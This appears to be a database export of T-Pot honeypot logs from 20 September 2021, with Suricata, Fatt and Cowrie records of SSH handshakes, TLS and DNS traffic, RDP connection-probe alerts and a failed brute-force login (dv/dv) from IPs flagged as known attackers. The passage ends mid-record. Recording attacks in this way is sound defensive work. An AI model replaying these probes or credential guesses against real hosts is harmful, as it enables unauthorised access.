36124	5.188.62.251	109.199.241.180	Suricata	2021-09-20 15:12:14.985423+03	2021-09-20 15:15:04.16369+03	{"_id": "dwYfA3wBvYTbRNuEAWA5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "5.188.62.251", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.251", "dest_ip": "192.168.20.116", "flow_id": 1890129117336535, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 26080, "dest_port": 22, "timestamp": "2021-09-20T12:12:14.985423Z", "@timestamp": "2021-09-20T12:12:14.985Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	RU
36125	36.27.214.211	109.199.241.180	Fatt	2021-09-20 15:12:09.993781+03	2021-09-20 15:15:04.164689+03	{"_id": "SwYeA3wBvYTbRNuE6mC_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "36.27.214.211", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 59768, "dest_port": 22, "timestamp": "2021-09-20T12:12:09.993781", "@timestamp": "2021-09-20T12:12:09.993Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
36126	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:12:09.705689+03	2021-09-20 15:15:04.165689+03	{"_id": "UQYeA3wBvYTbRNuE62AF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "36.27.214.211", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59768, "timestamp": "2021-09-20T12:12:09.705689", "@timestamp": "2021-09-20T12:12:09.705Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36127	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 15:12:09.705191+03	2021-09-20 15:15:04.16669+03	{"_id": "UgYeA3wBvYTbRNuE7GCT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "4d88d291e8a1", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:12:09.705191Z", "@timestamp": "2021-09-20T12:12:09.705Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
36128	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:12:01.795385+03	2021-09-20 15:15:04.168689+03	{"_id": "QAYeA3wBvYTbRNuEymCD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 26311, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1953, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 912418466241890, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 45042, "timestamp": "2021-09-20T12:12:01.795385Z", "@timestamp": "2021-09-20T12:12:01.795Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
36129	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:12:01.847416+03	2021-09-20 15:15:04.169689+03	{"_id": "QQYeA3wBvYTbRNuEy2B7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 36202, "dest_port": 443, "timestamp": "2021-09-20T12:12:01.847416", "@timestamp": "2021-09-20T12:12:01.847Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
36130	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 15:12:12.541792+03	2021-09-20 15:15:04.170689+03	{"_id": "XQYeA3wBvYTbRNuE9GBk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "4d88d291e8a1", "@version": "1", "duration": 2.836864709854126, "timestamp": "2021-09-20T12:12:12.541792Z", "@timestamp": "2021-09-20T12:12:12.541Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
36131	94.232.41.165	109.199.241.180	Suricata	2021-09-20 15:12:12.879508+03	2021-09-20 15:15:04.17169+03	{"_id": "YAYeA3wBvYTbRNuE9WB_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:12:12.710590+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 2038455812806590, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 31344, "dest_port": 3389, "timestamp": "2021-09-20T12:12:12.879508Z", "@timestamp": "2021-09-20T12:12:12.879Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	RU
36132	5.188.62.251	109.199.241.180	Cowrie	2021-09-20 15:12:14.928599+03	2021-09-20 15:15:04.173721+03	{"_id": "dAYfA3wBvYTbRNuEAGAe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.251", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.251", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 5.188.62.251:26080 (192.168.176.2:22) [session: 621da7b44843]", "session": "621da7b44843", "@version": "1", "protocol": "ssh", "src_port": 26080, "dest_port": 22, "timestamp": "2021-09-20T12:12:14.928599Z", "@timestamp": "2021-09-20T12:12:14.928Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	RU
36133	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 15:12:11.248306+03	2021-09-20 15:15:04.17472+03	{"_id": "VgYeA3wBvYTbRNuE8GB8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.login.failed", "message": "login attempt [dv/dv] failed", "session": "4d88d291e8a1", "@version": "1", "password": "dv", "username": "dv", "timestamp": "2021-09-20T12:12:11.248306Z", "@timestamp": "2021-09-20T12:12:11.248Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
36134	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:12:12.810108+03	2021-09-20 15:15:04.175723+03	{"_id": "XgYeA3wBvYTbRNuE9WB_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:12:12.710590+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "94.232.41.165", "flow_id": 2038455812806590, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 31344, "timestamp": "2021-09-20T12:12:12.810108Z", "@timestamp": "2021-09-20T12:12:12.810Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
36135	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 15:12:09.99443+03	2021-09-20 15:15:04.176726+03	{"_id": "UwYeA3wBvYTbRNuE7GCT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "4d88d291e8a1", "@version": "1", "timestamp": "2021-09-20T12:12:09.994430Z", "@timestamp": "2021-09-20T12:12:09.994Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
36136	36.27.214.211	109.199.241.180	Suricata	2021-09-20 15:12:09.993681+03	2021-09-20 15:15:04.17769+03	{"_id": "VQYeA3wBvYTbRNuE7WCu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "36.27.214.211", "dest_ip": "192.168.20.116", "flow_id": 2093966117389987, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 59768, "dest_port": 22, "timestamp": "2021-09-20T12:12:09.993681Z", "@timestamp": "2021-09-20T12:12:09.993Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
36137	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:12:01.793954+03	2021-09-20 15:15:04.179691+03	{"_id": "PwYeA3wBvYTbRNuEymCB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 26311, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 912418466241890, "@version": "1", "in_iface": "enp5s0", "src_port": 45042, "dest_port": 53, "timestamp": "2021-09-20T12:12:01.793954Z", "@timestamp": "2021-09-20T12:12:01.793Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
36138	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:12:01.890522+03	2021-09-20 15:15:04.18073+03	{"_id": "RAYeA3wBvYTbRNuEy2DA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 36202, "timestamp": "2021-09-20T12:12:01.890522", "@timestamp": "2021-09-20T12:12:01.890Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
36139	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 15:12:09.702283+03	2021-09-20 15:15:04.181692+03	{"_id": "VAYeA3wBvYTbRNuE7GCT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 36.27.214.211:59768 (192.168.176.2:22) [session: 4d88d291e8a1]", "session": "4d88d291e8a1", "@version": "1", "protocol": "ssh", "src_port": 59768, "dest_port": 22, "timestamp": "2021-09-20T12:12:09.702283Z", "@timestamp": "2021-09-20T12:12:09.702Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
36140	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:12:31.667893+03	2021-09-20 15:15:04.182692+03	{"_id": "kwYfA3wBvYTbRNuEP2DB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:12:31.349795+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1162827946481251, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 63527, "dest_port": 3389, "timestamp": "2021-09-20T12:12:31.667893Z", "@timestamp": "2021-09-20T12:12:31.667Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
36141	146.185.130.101	109.199.241.180	Cowrie	2021-09-20 15:12:32.350492+03	2021-09-20 15:15:04.18472+03	{"_id": "nAYfA3wBvYTbRNuEQmCO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "146.185.130.101", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "146.185.130.101", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 146.185.130.101:51176 (192.168.176.2:22) [session: 3aacfbac9ad4]", "session": "3aacfbac9ad4", "@version": "1", "protocol": "ssh", "src_port": 51176, "dest_port": 22, "timestamp": "2021-09-20T12:12:32.350492Z", "@timestamp": "2021-09-20T12:12:32.350Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	NL
36142	146.185.130.101	109.199.241.180	Cowrie	2021-09-20 15:12:32.397668+03	2021-09-20 15:15:04.185719+03	{"_id": "nQYfA3wBvYTbRNuEQmCP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "146.185.130.101", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", 